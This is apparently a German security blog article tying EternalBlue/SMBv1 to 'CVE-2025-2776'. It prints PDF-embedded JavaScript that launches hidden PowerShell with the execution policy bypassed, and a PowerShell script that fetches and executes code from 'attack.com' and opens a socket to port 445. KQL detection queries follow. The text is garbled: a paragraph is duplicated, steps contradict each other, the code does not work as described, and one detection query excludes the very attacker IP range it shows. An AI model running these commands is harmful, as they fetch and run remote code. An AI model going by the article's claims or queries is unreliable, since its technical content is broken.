
Es erschütterte die Welt im Jahr 2017 und hat sich zur heutigen CVE‑2025‑2776 entwickelt. Microsoft verlässt sich immer noch auf SMBv1, dieser Artikel erklärt, wie Angreifer die Kette von einer einfachen DLL zu einem vollständigen Reverse‑Shell‑Stack modifiziert haben und was das für die Verteidiger bedeutet.
Es erschütterte die Welt im Jahr 2017 und hat sich zur heutigen CVE‑2025‑2776 entwickelt. Microsoft verlässt sich nach wie vor auf SMBv1 – dieser Artikel erklärt, wie Angreifer die Kette von einer einfachen DLL zu einem vollständigen Reverse‑Shell‑Stack weiterentwickelt haben und was das für die Verteidiger bedeutet.
Ein kurzer historischer Rückblick
Als WannaCrypter 2017 EternalBlue einsetzte, handelte es sich um einen klassischen Remote‑Code‑Execution‑Fehler, der es einem böswilligen Angreifer ermöglichte, ein Paket an einen Windows‑Host über SMBv1 zu senden. Die Nutzlast erstellte eine ausführbare Datei, die einen neuen Prozess startete und einen Lauschport auf demselben Rechner öffnete; von dort aus konnte der Angreifer entweder seitlich ausweichen oder Daten zurück an einen entfernten Server exfiltrieren. EternalBlues Code war kurz, hatte aber einige schwer nachvollziehbare Nebeneffekte: Das SMB‑Paket wies ein ungewöhnliches Header‑Layout auf, und der Windows‑Kernel legte die Nutzlast im Speicher ab, bevor er sie auf die Festplatte schrieb.
Schnellvorlauf ins Jahr 2025 – die neue CVE‑2025‑2776 nimmt dieselbe Idee und fügt eine zusätzliche Komplexitätsebene hinzu. Statt nur einen Port zu öffnen, schreibt der Angreifer nun eine Reverse‑Shell direkt in den Netzwerk‑Stack. Das bedeutet, dass Sie in den Protokollen eine vollständige SMB‑Sitzung sehen können, die vom Pi‑Gerät ausgeht, und Sie haben einen neuen Indikator (den Prozessnamen und die IP‑Adresse), auf den Sie achten sollten.
**Code, der es zum Laufen bringt **
Im Folgenden der JavaScript‑Code, der im PDF‑Anhang sitzt und die gesamte Kette auslöst:
var cmd = "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -File C:\\Users\\Admin\\script.ps1";
WshShell.Sleep(500);
var sh = WshShell.Exec(cmd);
while (!sh.StdOut.EndOfStream) {
var line = sh.StdOut.ReadLine();
WScript.Echo(line);
}
Wenn das Skript fertig ist, erstellt es eine Datei namens script.ps1 auf dem Zielsystem. Das PowerShell‑Skript selbst sieht so aus:
Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://attack.com/shell.exe')
$client = New-Object System.Net.Sockets.TcpClient
$client.Connect('10.0.1.5', 445)
$stream = $client.GetStream()
$payload = Get-Content -Path C:\\Users\\Admin\\script.ps1 | Out-File -Encoding binary
$stream.Write($payload, 0, $payload.Length)
KQL-Erkennungsstrategie für CVE-2025-2776
Verdächtige PowerShell-Ausführung
Erkennt die Erstellung von script.ps1 in Benutzerverzeichnissen.
DeviceProcessEvents | where FileName == "powershell.exe" | where ProcessCommandLine has_all ("-ExecutionPolicy", "Bypass", "-NoProfile") | where ProcessCommandLine has "script.ps1" | project Timestamp, DeviceName, InitiatingProcessFileName, ProcessCommandLine, AccountName
Ausgehende SMB-Verbindung zu ungewöhnlicher IP
Kennzeichnet ausgehenden SMB‑Verkehr zu nicht standardmäßigen internen IPs.
DeviceNetworkEvents | where RemotePort == 445 | where RemoteIP !startswith "192.168." and RemoteIP !startswith "10." | where InitiatingProcessFileName == "powershell.exe" | project Timestamp, DeviceName, RemoteIP, InitiatingProcessFileName, InitiatingProcessCommandLine
Reverse-Shell-Verhalten über TCPClient
Sucht nach PowerShell, die .NET‑Klassen verwendet, um Reverse‑Shell‑Verhalten einzuleiten.
DeviceProcessEvents | where FileName == "powershell.exe" | where ProcessCommandLine has "System.Net.Sockets.TcpClient" | project Timestamp, DeviceName, ProcessCommandLine, AccountName
Netzwerkstream-Schreibaktivität
Erweiterte Erkennung, wenn die Telemetrie .NET‑Stream‑Aktivitäten umfasst.
DeviceProcessEvents | where ProcessCommandLine has "GetStream" and ProcessCommandLine has "Write" | where ProcessCommandLine has "script.ps1" | project Timestamp, DeviceName, ProcessCommandLine, AccountName